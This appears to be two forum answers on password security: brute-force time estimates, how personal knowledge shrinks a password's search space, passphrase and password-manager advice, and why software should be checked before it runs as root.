Let's use md5 as an example (it's terrible, but it's computationally cheap. Please don't use md5; I am only using it as an example). To exhaust the character space of an 8 character password, it would take 4 years to crack with a cheap workstation. About 4 years 25 days 7 hours 46 minutes 54 seconds. If you were to up the password length to 9, it would take over 309 years. Keep in mind that processing power is growing rapidly.

Learning extra parameters about the user's password allows you to simplify this. Let's assume that you choose the following song: baby hit me one more time. This is your favorite song, and I know this because I socially-engineered you into telling me. Let's choose a predictable lyric phrase to create a password with:  Hit me baby one more time. This becomes HmBomT. Now let's add some leet with a number. Now we have H@BomT3. Now that we know your favorite song, and your favorite phrase, this is what your password alphabet space becomes:

hHmMbBoOmMtT1234567890!@#$%^&*()-_+=

As you can see, this alphabet space is significantly reduced. It's much, much faster if you know what character the password starts with, but let's assume you don't. Let's further assume it's been randomized. Now you've reduced the time needed to exhaust the password space to 2,901,713,047,668 combinations, it takes 3 days to crack the password with a cheap workstation. Let's upgrade it to 9 characters. Now it takes 137 days 15 hours 47 minutes.

You can calculate this yourself (charset: custom). Also, all of this assumes you don't have a dedicated GPU cluster.

EDIT:

It's come to my attention that there is now evidence of custom hardware solutions dedicated to cracking bcrypt, one of which is a lot less expensive than a 25-GPU array, uses less power, and is vastly superior in every regard. Please read this amazing article if you want to learn more.

But shouldn't we simply increase password length?

Yeah, you could. Truthfully, it greatly increases entropy when you increase the password length.

However, then it becomes annoying to enter - especially for corporate environments that require you to log out every time you leave the computer. On top of that, it's very hard to remember this password.

You might eventually forget it after entering different passwords and being forced to change every few months. Even worse, you could forget it immediately, and be forced to visit the IT help desk to reset your password. This results in costs to the business, and lost productivity.

In fact, a better method would be a xkcd's correct horse battery staple. You could use an upper case somewhere, and a number somewhere else, or you could make it even easier while increasing entropy: something like correct horse battery staple gasoline. It's very easy to remember, very easy to type, and it's very hard for computers to break. Also remember that this should be randomly-generated from a 2048 word list.

For websites, I would recommend a password manager such as KeePass. I would not use LastPass, as it's vulnerable to phishing attacks. Websites can know you have LastPass enabled, because your browser is sending this information to the website if requested! This is part of how browser-fingerprinting works.

For corporate and other logins which you aren't able to use a password manager with, I would recommend a variant of correct horse battery staple with an extra word. Maybe correct horse battery staple gasoline? Much easier to remember.


Does it make sense to check command integrity after running it as root?

Did Dave did something insecure this time?

Yes.

Story time:

I had a friend Ramin in college who used to check if his orange juice was properly closed by shaking the bottle upside down. We coined a term after him:

  Def: Ramin Test: a test where you are only prepared for one of the possible outcomes.

Your Dave pulled a classic Ramin Test; install some arbitrary software, run it with sudo, then ask if it was malicious. What would he have done if the answer was "Yes"? Destroy the laptop and buy a new one? Change all his passwords and call the bank to cancel his credit cards? I don't think he was prepared for that outcome.

Metaphor: say I open a package of white powder in a crowded public place, then afterwards ask if it was anthrax. What am I going to do? All these people are already infected; the damage has already been done. Similarly, asking if something is malware after it has been allowed to take over your computer is almost pointless.

The proper thing to do is check that the software is trustworthy before you give it control of your computer (aka run it). This is the point of checking a file's checksum before you open it. This is why proper unix package managers or the Windows code signing system check the digital signature at install time, and possibly also again every time it is run to make sure it hasn't been modified.